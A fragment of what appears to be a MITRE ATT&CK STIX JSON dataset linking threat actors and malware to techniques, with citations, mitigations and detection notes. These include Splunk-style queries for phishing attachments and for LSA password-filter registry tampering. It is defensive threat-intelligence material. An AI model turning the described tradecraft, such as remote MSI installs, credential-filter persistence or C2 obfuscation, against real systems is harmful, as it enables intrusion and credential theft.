                    "description": "Stratus Red Team. (n.d.). CloudTrail Logs Impairment Through S3 Lifecycle Rule. Retrieved September 25, 2024.",
                    "url": "https://stratus-red-team.cloud/attack-techniques/AWS/aws.defense-evasion.cloudtrail-lifecycle-rule/"
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            "modified": "2025-04-16T22:00:28.788Z",
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                    "source_name": "Unit 42 Sofacy Feb 2018",
                    "description": "Lee, B, et al. (2018, February 28). Sofacy Attacks Multiple Government Entities. Retrieved March 15, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-sofacy-attacks-multiple-government-entities/"
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                {
                    "source_name": "Cybersecurity Advisory GRU Brute Force Campaign July 2021",
                    "description": "NSA, CISA, FBI, NCSC. (2021, July). Russian GRU Conducting Global Brute Force Campaign to Compromise Enterprise and Cloud Environments. Retrieved July 26, 2021.",
                    "url": "https://media.defense.gov/2021/Jul/01/2002753896/-1/-1/1/CSA_GRU_GLOBAL_BRUTE_FORCE_CAMPAIGN_UOO158036-21.PDF"
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                    "source_name": "Microsoft DLL Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.",
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            "description": "Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)",
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                    "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021.",
                    "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware"
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"
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            "modified": "2025-04-28T15:37:54.065Z",
            "description": "[Raindrop](https://attack.mitre.org/software/S0565) used a custom packer for its [Cobalt Strike](https://attack.mitre.org/software/S0154) payload, which was compressed using the LZMA algorithm.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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            "x_mitre_deprecated": false,
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            "id": "relationship--1c935a6d-dd69-4be3-bfed-56c01d0f9413",
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                    "source_name": "Cybereason Bumblebee August 2022",
                    "description": "Cybereason. (2022, August 17). Bumblebee Loader \u2013 The High Road to Enterprise Domain Control. Retrieved August 29, 2022.",
                    "url": "https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control"
                },
                {
                    "source_name": "Proofpoint Bumblebee April 2022",
                    "description": "Merriman, K. and Trouerbach, P. (2022, April 28). This isn't Optimus Prime's Bumblebee but it's Still Transforming. Retrieved August 22, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming"
                },
                {
                    "source_name": "Google EXOTIC LILY March 2022",
                    "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.",
                    "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"
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            "modified": "2025-04-16T22:00:29.734Z",
            "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can use WMI to gather system information and to spawn processes for code injection.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Cybereason Bumblebee August 2022)",
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            "description": "Regularly check component software on critical services that adversaries may target for persistence to verify the integrity of the systems and identify if unexpected changes have been made. ",
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            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
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        {
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            "revoked": false,
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                    "source_name": "Cybereason OperationCuckooBees May 2022",
                    "description": "Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.",
                    "url": "https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"
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            "description": "During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors used `dir c:\\\\` to search for files.(Citation: Cybereason OperationCuckooBees May 2022)",
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            "source_ref": "campaign--93c23946-49af-41f4-ac03-40f9ffc7419b",
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                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"
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            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can decrypt its C2 address upon execution.(Citation: Unit 42 Lucifer June 2020)",
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                    "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
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                {
                    "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ",
                    "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"
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            ],
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            "description": "[Saint Bear](https://attack.mitre.org/groups/G1031) gathered victim email information in advance of phishing operations for targeted attacks.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )",
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                    "description": "Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.",
                    "url": "https://www.cybereason.com/blog/valak-more-than-meets-the-eye"
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            "description": "[Valak](https://attack.mitre.org/software/S0476) has the ability to enumerate running processes on a compromised host.(Citation: Cybereason Valak May 2020)",
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                {
                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/"
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            "modified": "2025-04-16T22:00:37.791Z",
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            "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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        {
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            "spec_version": "2.1",
            "id": "relationship--1cfc2e72-a9ce-4dc2-95ad-fb99c90a2880",
            "created": "2020-12-22T20:20:36.541Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "ClearkSky Fox Kitten February 2020",
                    "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020.",
                    "url": "https://www.clearskysec.com/fox-kitten/"
                },
                {
                    "source_name": "CrowdStrike PIONEER KITTEN August 2020",
                    "description": "Orleans, A. (2020, August 31). Who Is PIONEER KITTEN?. Retrieved December 21, 2020.",
                    "url": "https://www.crowdstrike.com/blog/who-is-pioneer-kitten/"
                },
                {
                    "source_name": "ClearSky Pay2Kitten December 2020",
                    "description": "ClearSky. (2020, December 17). Pay2Key Ransomware \u2013 A New Campaign by Fox Kitten. Retrieved December 21, 2020.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/12/Pay2Kitten.pdf"
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            "object_marking_refs": [
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            "modified": "2025-04-28T15:38:00.643Z",
            "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has exploited known vulnerabilities in remote services including RDP.(Citation: ClearkSky Fox Kitten February 2020)(Citation: CrowdStrike PIONEER KITTEN August 2020)(Citation: ClearSky Pay2Kitten December 2020)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1cfc5611-b428-4fce-8b8d-f591523c9d9c",
            "created": "2019-06-18T18:40:33.783Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "Flashpoint FIN 7 March 2019",
                    "description": "Platt, J. and Reeves, J.. (2019, March). FIN7 Revisited: Inside Astra Panel and SQLRat Malware. Retrieved June 18, 2019.",
                    "url": "https://www.flashpoint-intel.com/blog/fin7-revisited-inside-astra-panel-and-sqlrat-malware/"
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            "modified": "2025-04-28T15:38:00.842Z",
            "description": "[SQLRat](https://attack.mitre.org/software/S0390) can make a direct SQL connection to a Microsoft database controlled by the attackers, retrieve an item from the bindata table, then write and execute the file on disk.(Citation: Flashpoint FIN 7 March 2019)\t",
            "relationship_type": "uses",
            "source_ref": "malware--8fc6c9e7-a162-4ca4-a488-f1819e9a7b06",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
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            "x_mitre_deprecated": false,
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        },
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            "spec_version": "2.1",
            "id": "relationship--1d0af393-5340-4bee-bccc-b1007853276a",
            "created": "2022-06-09T19:49:49.911Z",
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            "external_references": [
                {
                    "source_name": "Palo Alto Unit 42 OutSteel SaintBot February 2022 ",
                    "description": "Unit 42. (2022, February 25). Spear Phishing Attacks Target Organizations in Ukraine, Payloads Include the Document Stealer OutSteel and the Downloader SaintBot. Retrieved June 9, 2022.",
                    "url": "https://unit42.paloaltonetworks.com/ukraine-targeted-outsteel-saintbot/"
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            "modified": "2025-04-16T22:00:38.472Z",
            "description": "[OutSteel](https://attack.mitre.org/software/S1017) has been distributed through malicious links contained within spearphishing emails.(Citation: Palo Alto Unit 42 OutSteel SaintBot February 2022 )",
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            "id": "relationship--1d0b86d9-1658-4b92-b56b-79908f3810f5",
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            "description": "Monitor for API calls associated with altering data. Remote access tools with built-in features may interact directly with the Windows API to gather information.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
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        },
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            "id": "relationship--1d0d0fe6-f16d-4c69-bbaf-1d5423b852fb",
            "created": "2022-10-13T16:10:52.973Z",
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            "external_references": [
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                    "source_name": "NCC Group TA505",
                    "description": "Terefos, A. (2020, November 18). TA505: A Brief History of Their Time. Retrieved July 14, 2022.",
                    "url": "https://research.nccgroup.com/2020/11/18/ta505-a-brief-history-of-their-time/"
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            "modified": "2025-04-16T22:00:38.691Z",
            "description": "(Citation: NCC Group TA505)",
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            "modified": "2025-04-16T22:00:38.901Z",
            "description": "Monitor for creation of suspicious email attachments in download directories, execution of phishing attachments (e.g., .docm, .lnk, .hta, .vbs), or files extracted from .zip, .rar, .iso containers that execute scripts.\n\nAnalytic 1 - Detecting Malicious File Creation from Phishing Emails\n\n<code>(EventCode=11 OR EventCode=1116)\nOR (source=\"/var/log/audit/audit.log\" SYSCALL=\"open\" path IN (\"/home/user/Downloads\", \"C:\\\\Users\\\\Public\\\\Downloads\"))\n| eval risk_score=case(\n    like(path, \"%.vbs\"), 8,\n    like(path, \"%.lnk\"), 7,\n    like(path, \"%.exe\"), 6\n)\n| where risk_score >= 6\n| stats count by _time, host, path, user, risk_score </code> ",
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            "target_ref": "attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--1d10495f-64e6-43d9-85cd-4d74a8acdf7c",
            "created": "2019-03-07T20:39:58.649Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "TrendMicro Cobalt Group Nov 2017",
                    "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/"
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            ],
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            ],
            "modified": "2025-04-28T15:38:01.515Z",
            "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) has used <code>odbcconf</code> to proxy the execution of malicious DLL files.(Citation: TrendMicro Cobalt Group Nov 2017)",
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            "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a",
            "target_ref": "attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "id": "relationship--1d11c326-7640-4ddd-b5fe-c8eaf4097c20",
            "created": "2022-08-22T13:42:04.161Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "Google EXOTIC LILY March 2022",
                    "description": "Stolyarov, V. (2022, March 17). Exposing initial access broker with ties to Conti. Retrieved August 18, 2022.",
                    "url": "https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/"
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            "modified": "2025-04-16T22:00:39.333Z",
            "description": "[Bumblebee](https://attack.mitre.org/software/S1039) can send collected data in JSON format to C2.(Citation: Google EXOTIC LILY March 2022)",
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            "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.",
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                    "source_name": "CISA AppleJeus Feb 2021",
                    "description": "Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea\u2019s Cryptocurrency Malware. Retrieved March 1, 2021.",
                    "url": "https://us-cert.cisa.gov/ncas/alerts/aa21-048a"
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            "modified": "2025-04-28T15:38:02.033Z",
            "description": "[AppleJeus](https://attack.mitre.org/software/S0584) has exfiltrated collected host information to a C2 server.(Citation: CISA AppleJeus Feb 2021)",
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                    "source_name": "Cybereason Chaes Nov 2020",
                    "description": "Salem, E. (2020, November 17). CHAES: Novel Malware Targeting Latin American E-Commerce. Retrieved June 30, 2021.",
                    "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/11-2020-Chaes-e-commerce-malware-research.pdf"
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            "description": "[Chaes](https://attack.mitre.org/software/S0631) has used encryption for its C2 channel.(Citation: Cybereason Chaes Nov 2020) ",
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                {
                    "source_name": "Proofpoint TA505 Jan 2019",
                    "description": "Schwarz, D. and Proofpoint Staff. (2019, January 9). ServHelper and FlawedGrace - New malware introduced by TA505. Retrieved May 28, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505"
                },
                {
                    "source_name": "Deep Instinct TA505 Apr 2019",
                    "description": "Vilkomir-Preisman, S. (2019, April 2). New ServHelper Variant Employs Excel 4.0 Macro to Drop Signed Payload. Retrieved September 16, 2024..",
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                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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            "description": "[Tonto Team](https://attack.mitre.org/groups/G0131) has routed their traffic through an external server in order to obfuscate their location.(Citation: TrendMicro Tonto Team October 2020)",
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                    "source_name": "Red Canary Hospital Thwarted Ryuk October 2020",
                    "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.",
                    "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"
                },
                {
                    "source_name": "FireEye Ryuk and Trickbot January 2019",
                    "description": "Goody, K., et al (2019, January 11). A Nasty Trick: From Credential Theft Malware to Business Disruption. Retrieved May 12, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/01/a-nasty-trick-from-credential-theft-malware-to-business-disruption.html"
                },
                {
                    "source_name": "Mandiant FIN12 Oct 2021",
                    "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"
                },
                {
                    "source_name": "DFIR Ryuk 2 Hour Speed Run November 2020",
                    "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.",
                    "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"
                },
                {
                    "source_name": "DFIR Ryuk's Return October 2020",
                    "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. Retrieved October 9, 2020.",
                    "url": "https://thedfirreport.com/2020/10/08/ryuks-return/"
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            "id": "relationship--1dd2f471-eeba-4deb-b0ad-d334ebfab627",
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            "modified": "2025-04-16T22:00:50.875Z",
            "description": "Monitor for API calls that may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). In cloud-based systems, native logging can be used to identify access to certain APIs and dashboards that may contain system information. Depending on how the environment is used, that data alone may not be useful due to benign use during normal operations.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
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            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--1dd3f4ff-93fe-4c10-8a0c-5afb8a2c03f4",
            "created": "2022-03-30T14:26:51.860Z",
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            "modified": "2025-04-16T22:00:51.090Z",
            "description": "Monitor for changes to Registry entries for password filters (ex: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Notification Packages) and correlate then investigate the DLL files these files reference.\n\nAnalytic 1 - Unauthorized modifications to Registry entries for password filters.\n\n<code> index=windows_logs sourcetype=\"WinEventLog:Security\" (EventCode=4657 OR EventCode=4688)\n| search (\n    (TargetObject=\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\" AND ValueName=\"Notification Packages\")\n    OR (TargetObject=\"*\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Lsa\\\\\" AND ValueName=\"Authentication Packages\")\n    OR (CommandLine=\"*reg.exe*\" AND CommandLine=\"*add*\" AND CommandLine=\"*Lsa*\")\n  )\n| eval Modification_Type=case(\n    like(CommandLine, \"%reg.exe% add%\"), \"Command Line Registry Edit\",\n    EventCode=4657, \"Direct Registry Modification\"\n  )</code>",
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                {
                    "source_name": "Bleeping Computer Latrodectus April 2024",
                    "description": "Abrams, L. (2024, April 30). New Latrodectus malware attacks use Microsoft, Cloudflare themes. Retrieved September 13, 2024.",
                    "url": "https://www.bleepingcomputer.com/news/security/new-latrodectus-malware-attacks-use-microsoft-cloudflare-themes/"
                },
                {
                    "source_name": "Latrodectus APR 2024",
                    "description": "Proofpoint Threat Research and Team Cymru S2 Threat Research. (2024, April 4). Latrodectus: This Spider Bytes Like Ice . Retrieved May 31, 2024.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice"
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            "description": "[Latrodectus](https://attack.mitre.org/software/S1160) has called `msiexec` to install remotely-hosted MSI files.(Citation: Latrodectus APR 2024)(Citation: Bleeping Computer Latrodectus April 2024)",
            "relationship_type": "uses",
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                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-04-28T15:38:11.665Z",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.(Citation: University of Birmingham C2)",
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                {
                    "source_name": "Mandiant APT42-untangling",
                    "description": "Rozmann, O., et al. (2024, May 1). Uncharmed: Untangling Iran's APT42 Operations. Retrieved October 9, 2024.",
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            "modified": "2025-04-16T22:00:51.727Z",
            "description": "[TAMECAT](https://attack.mitre.org/software/S1193) has used `cmd.exe` to run the `curl` command.(Citation: Mandiant APT42-untangling) ",
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            "description": "Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by Netsh Helper DLLs.",
            "relationship_type": "detects",
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        },
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            "created": "2020-05-05T19:37:33.769Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                {
                    "source_name": "QiAnXin APT-C-36 Feb2019",
                    "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020.",
                    "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/"
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            "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has prompted victims to accept macros in order to execute the subsequent payload.(Citation: QiAnXin APT-C-36 Feb2019)",
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            "id": "relationship--205b4267-e86d-46a1-8aa6-61475cd90b80",
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            "revoked": false,
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                {
                    "source_name": "Kaspersky Lyceum October 2021",
                    "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022.",
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            "description": "[Kevin](https://attack.mitre.org/software/S1020) can collect the MAC address and other information from a victim machine using `ipconfig/all`.(Citation: Kaspersky Lyceum October 2021)",
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            "revoked": false,
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                    "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.",
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                    "description": "Adamitis, D. (2020, May 6). Phantom in the Command Shell. Retrieved November 17, 2024.",
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                    "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020.",
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            "description": "[Bundlore](https://attack.mitre.org/software/S0482) has leveraged /bin/sh and /bin/bash to execute commands on the victim machine.(Citation: MacKeeper Bundlore Apr 2019)",
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            "description": "Monitor newly executed processes that may abuse Microsoft Outlook rules to obtain persistence on a compromised system.",
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            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--206ef2a2-192c-4739-a1bf-b5616dcacfed",
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                    "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.",
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            "modified": "2025-04-16T22:01:35.444Z",
            "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted the payload with an XOR-based algorithm.(Citation: FireEye HAWKBALL Jun 2019)",
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                    "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.",
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            "description": "[APT41](https://attack.mitre.org/groups/G0096) used built-in <code>net</code> commands to enumerate domain administrator users.(Citation: Rostovcev APT41 2021)",
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                    "description": "Ben Fletcher and Steve de Vera. (2024, June). New tactics and techniques for proactive threat detection. Retrieved September 25, 2024.",
                    "url": "https://reinforce.awsevents.com/content/dam/reinforce/2024/slides/TDR432_New-tactics-and-techniques-for-proactive-threat-detection.pdf"
                },
                {
                    "source_name": "Okta Cross-Tenant Impersonation",
                    "description": "Okta Defensive Cyber Operations. (2023, August 31). Cross-Tenant Impersonation: Prevention and Detection. Retrieved March 4, 2024.",
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            "revoked": false,
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                {
                    "source_name": "Telefonica Snip3 December 2021",
                    "description": "Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.",
                    "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"
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                {
                    "source_name": "Morphisec Snip3 May 2021",
                    "description": "Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.",
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            "description": "[Snip3](https://attack.mitre.org/software/S1086) can use visual basic scripts for first-stage execution.(Citation: Morphisec Snip3 May 2021)(Citation: Telefonica Snip3 December 2021)",
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                    "source_name": "DFIR Conti Bazar Nov 2021",
                    "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.",
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            "description": "[WarzoneRAT](https://attack.mitre.org/software/S0670) can send collected victim data to its C2 server.(Citation: Check Point Warzone Feb 2020)",
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                    "url": "https://blog.talosintelligence.com/2017/06/worldwide-ransomware-variant.html"
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                    "source_name": "US-CERT NotPetya 2017",
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                {
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                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
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                    "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.",
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            "description": "[APT29](https://attack.mitre.org/groups/G0016) has obtained and used a variety of tools including [Mimikatz](https://attack.mitre.org/software/S0002), [SDelete](https://attack.mitre.org/software/S0195), [Tor](https://attack.mitre.org/software/S0183), [meek](https://attack.mitre.org/software/S0175), and [Cobalt Strike](https://attack.mitre.org/software/S0154).(Citation: Mandiant No Easy Breach)(Citation: F-Secure The Dukes)(Citation: Mandiant APT29 Eye Spy Email Nov 22)",
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            "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has signed files with the name EGIS CO,. Ltd. and has stolen a valid certificate that is used to sign the malware and the dropper.(Citation: ThreatConnect Kimsuky September 2020)(Citation: S2W Troll Stealer 2024)  ",
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                    "source_name": "Sans Mutexes 2012",
                    "description": "Lenny Zeltser. (2012, July 24). Looking at Mutex Objects for Malware Discovery & Indicators of Compromise. Retrieved September 19, 2024.",
                    "url": "https://www.sans.org/blog/looking-at-mutex-objects-for-malware-discovery-indicators-of-compromise/"
                },
                {
                    "source_name": "Microsoft CreateMutexA",
                    "description": "Microsoft. (2023, February 8). CreateMutexA function (synchapi.h). Retrieved September 19, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa"
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            "modified": "2025-04-16T22:02:53.596Z",
            "description": "Monitor for suspicious API calls associated with system mutex creation, such as `CreateMutex/CreateMutexA` on Windows systems.(Citation: Microsoft CreateMutexA) For example, it is rare for legitimate programs to create random mutex names.(Citation: Sans Mutexes 2012) Additionally, monitor for suspicious syscalls associated with lock files, such as `flock` on Linux.",
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            "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
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            "x_mitre_deprecated": false,
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            "spec_version": "2.1",
            "id": "relationship--2533b541-40a6-4849-a93f-2276c4feefd2",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "TechNet Autoruns",
                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                    "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                },
                {
                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
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            "description": "Monitor for newly constructed scheduled jobs. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. On Windows, enable the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service where several events will then be logged on scheduled task activity, including:(Citation: TechNet Forum Scheduled Task Operational Setting)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)",
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            "x_mitre_deprecated": false,
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            "revoked": false,
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                {
                    "source_name": "CrowdStrike IceApple May 2022",
                    "description": "CrowdStrike. (2022, May). ICEAPPLE: A NOVEL INTERNET INFORMATION SERVICES (IIS) POST-EXPLOITATION FRAMEWORK. Retrieved June 27, 2022.",
                    "url": "https://www.crowdstrike.com/wp-content/uploads/2022/05/crowdstrike-iceapple-a-novel-internet-information-services-post-exploitation-framework.pdf"
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            "description": "[IceApple](https://attack.mitre.org/software/S1022) .NET assemblies have used `App_Web_` in their file names to appear legitimate.(Citation: CrowdStrike IceApple May 2022)",
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            "source_ref": "malware--dd889a55-fb2c-4ec7-8e9f-c399939a49e1",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "id": "relationship--253ab30c-ec7c-42bc-a27d-984722c59a98",
            "created": "2019-04-10T15:21:29.500Z",
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                {
                    "source_name": "Symantec Elfin Mar 2019",
                    "description": "Security Response attack Investigation Team. (2019, March 27). Elfin: Relentless Espionage Group Targets Multiple Organizations in Saudi Arabia and U.S.. Retrieved April 10, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/elfin-apt33-espionage"
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            "description": "(Citation: Symantec Elfin Mar 2019)",
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            "target_ref": "malware--f5352566-1a64-49ac-8f7f-97e1d1a03300",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
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            "id": "relationship--253b56a5-232f-44bc-af4d-85ccc12a0577",
            "created": "2017-05-31T21:33:27.080Z",
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            "revoked": false,
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                {
                    "source_name": "ESET Gamaredon June 2020",
